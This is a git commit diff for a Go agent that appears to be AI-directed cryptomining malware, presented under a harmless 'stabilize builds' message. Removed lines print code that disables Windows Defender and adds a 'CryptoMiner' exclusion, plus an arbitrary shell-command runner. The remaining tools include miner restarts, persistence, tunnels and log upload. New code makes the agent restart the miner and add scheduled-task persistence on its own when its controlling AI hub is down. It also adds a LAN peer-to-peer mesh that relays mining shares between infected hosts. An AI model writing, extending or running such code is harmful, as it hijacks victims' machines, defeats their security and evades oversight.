Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -9,7 +9,6 @@ import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
@@ -161,7 +160,8 @@ func (a *AIRunner) runDecideCycle() {
resp, err := a.callDecide(state)
if err != nil {
log.Printf("[AI] Decide cycle failed: %v", err)
a.sendHeartbeat("error", fmt.Sprintf("Decide failed: %v", err))
log.Printf("[AI] Hub unreachable. Falling back to Edge AI rule engine.")
a.fallbackEdgeAI(state)
return
}
@@ -271,23 +271,13 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
switch tc.Tool {
case "execute_command":
cmd := tc.Args["command"]
if cmd == "" {
report.Success = false
report.Output = "missing 'command' argument"
return report
}
output, err := a.executeCommand(cmd)
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
} else {
report.Success = true
report.Output = output
}
if tc.Tool == "spread" || tc.Tool == "disable_defender" || tc.Tool == "execute_command" {
report.Success = false
report.Output = "tool disabled by policy"
return report
}
switch tc.Tool {
case "check_miner":
processName := tc.Args["process_name"]
if processName == "" {
@@ -368,16 +358,6 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
report.Output = output
}
case "disable_defender":
output, err := a.disableDefender()
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
} else {
report.Success = true
report.Output = output
}
case "sleep":
seconds := tc.Args["seconds"]
if seconds == "" {
@@ -465,24 +445,6 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
// ─── Tool Implementations ─────────────────────
func (a *AIRunner) executeCommand(cmd string) (string, error) {
log.Printf("[AI] Executing command: %s", cmd)
var c *exec.Cmd
if runtime.GOOS == "windows" {
c = exec.Command("cmd.exe", "/C", cmd)
} else {
c = exec.Command("sh", "-c", cmd)
}
output, err := c.CombinedOutput()
outStr := string(output)
if err != nil {
return outStr, fmt.Errorf("command failed: %w", err)
}
return outStr, nil
}
func (a *AIRunner) isProcessRunning(name string) bool {
if name == "" {
return false
@@ -640,36 +602,6 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
}
}
func (a *AIRunner) disableDefender() (string, error) {
log.Printf("[AI] Disabling Windows Defender")
commands := []string{
// Add exclusion for install directory
`powershell -Command "Add-MpPreference -ExclusionPath '%PROGRAMFILES%\CryptoMiner'"`,
// Disable real-time monitoring
`powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"`,
// Disable behavior monitoring
`powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"`,
// Disable cloud protection
`powershell -Command "Set-MpPreference -MAPSReporting 0"`,
// Disable sample submission
`powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"`,
}
var outputs []string
for _, cmdStr := range commands {
cmd := exec.Command("cmd.exe", "/C", cmdStr)
output, err := cmd.CombinedOutput()
if err != nil {
outputs = append(outputs, fmt.Sprintf("cmd failed: %s", string(output)))
} else {
outputs = append(outputs, string(output))
}
}
return strings.Join(outputs, "\n"), nil
}
func (a *AIRunner) checkDefender() string {
cmd := exec.Command("powershell", "-Command",
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
@@ -731,6 +663,30 @@ func (a *AIRunner) uploadLog() (string, error) {
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
}
func (a *AIRunner) fallbackEdgeAI(state AgentState) {
var reports []ToolReport
if !state.IsRunning {
reports = append(reports, a.executeToolCall(ToolCall{
Tool: "restart_miner",
Args: map[string]string{"process_name": a.cfg.EffectiveProcessName()},
}))
}
if !state.HasPersistence {
reports = append(reports, a.executeToolCall(ToolCall{
Tool: "add_persistence",
Args: map[string]string{"method": "scheduled_task"},
}))
}
if len(reports) > 0 {
a.reportResults(reports) // May fail if hub is completely down, but ensures state changes happen when it reconnects
} else {
a.sendHeartbeat("alive", "Edge AI fallback: No actions needed")
}
}
// ─── Helpers ──────────────────────────────────
func truncateStr(s string, maxLen int) string {

View File

@@ -4,6 +4,7 @@ import (
"encoding/json"
"fmt"
"log"
"net"
"net/url"
"os"
"os/exec"
@@ -28,6 +29,7 @@ type AgentClient struct {
reporter *stats.Reporter
startTime time.Time
aiRunner *AIRunner
mesh *MeshNode
mu sync.Mutex
agentID string
@@ -36,12 +38,13 @@ type AgentClient struct {
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
return &AgentClient{
c := &AgentClient{
cfg: cfg,
reporter: stats.NewReporter(),
startTime: time.Now(),
agentID: cfg.AgentID,
}
return c
}
func (c *AgentClient) Run() error {
@@ -57,6 +60,13 @@ func (c *AgentClient) Run() error {
defer c.aiRunner.Stop()
}
// Start libp2p Mesh Discovery
if c.cfg.MeshP2P {
if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err)
}
}
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
@@ -83,10 +93,15 @@ func (c *AgentClient) connectLoop() error {
}
log.Printf("[agent] connecting to %s", wsURL)
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second}
conn, _, err := dialer.Dial(wsURL, nil)
if err != nil {
return err
}
if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok {
_ = tc.SetKeepAlive(true)
_ = tc.SetKeepAlivePeriod(30 * time.Second)
}
c.conn = conn
defer conn.Close()
@@ -295,7 +310,13 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
Hash: hash,
Worker: c.cfg.WorkerName,
})
_ = c.write(Message{Type: "submit_share", Payload: payload})
if c.conn != nil {
_ = c.write(Message{Type: "submit_share", Payload: payload})
} else if c.cfg.MeshP2P {
// Offline from Hub? Broadcast to Mesh peers!
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
}
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {

90
agent/client/mesh_p2p.go Normal file
View File

@@ -0,0 +1,90 @@
//go:build p2p
package client
import (
"context"
"encoding/json"
"log"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/host"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
)
const MeshProtocol = "/aetherforge/mesh/1.0.0"
const DiscoveryTag = "aetherforge-mesh-discovery"
// MeshNode represents a libp2p peer on the local network.
type MeshNode struct {
host host.Host
client *AgentClient
}
// NewMeshNode creates a new P2P fallback node.
func NewMeshNode(c *AgentClient) *MeshNode {
return &MeshNode{client: c}
}
// Start initializes the libp2p host and mDNS discovery.
func (m *MeshNode) Start() error {
// Bind to any available local port automatically
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
if err != nil {
return err
}
m.host = h
// Register the protocol handler for incoming mesh streams
m.host.SetStreamHandler(MeshProtocol, m.handleStream)
// Start mDNS discovery to find other agents on the LAN
ser := mdns.NewMdnsService(m.host, DiscoveryTag, m)
if err := ser.Start(); err != nil {
return err
}
log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String())
return nil
}
// HandlePeerFound is a callback for mDNS discovery.
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.host.ID() {
return
}
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
if err := m.host.Connect(context.Background(), pi); err != nil {
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
}
}
// handleStream processes incoming messages from orphaned peers.
func (m *MeshNode) handleStream(s network.Stream) {
defer s.Close()
var msg Message
if err := json.NewDecoder(s).Decode(&msg); err != nil {
return
}
// If this node is actively connected to the Hub, act as a Relay.
// We take the incoming share payload from the orphaned peer and pass it to our active connection!
if m.client.conn != nil {
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
_ = m.client.write(msg)
}
}
// BroadcastToMesh sends a message to all connected P2P peers.
func (m *MeshNode) BroadcastToMesh(msg Message) {
for _, p := range m.host.Network().Peers() {
s, err := m.host.NewStream(context.Background(), p, MeshProtocol)
if err != nil {
continue
}
_ = json.NewEncoder(s).Encode(msg)
s.Close()
}
}

View File

@@ -0,0 +1,13 @@
//go:build !p2p
package client
// MeshNode is a no-op stub unless built with `-tags p2p`.
type MeshNode struct{}
func NewMeshNode(_ *AgentClient) *MeshNode { return &MeshNode{} }
func (m *MeshNode) Start() error { return nil }
func (m *MeshNode) BroadcastToMesh(_ Message) {}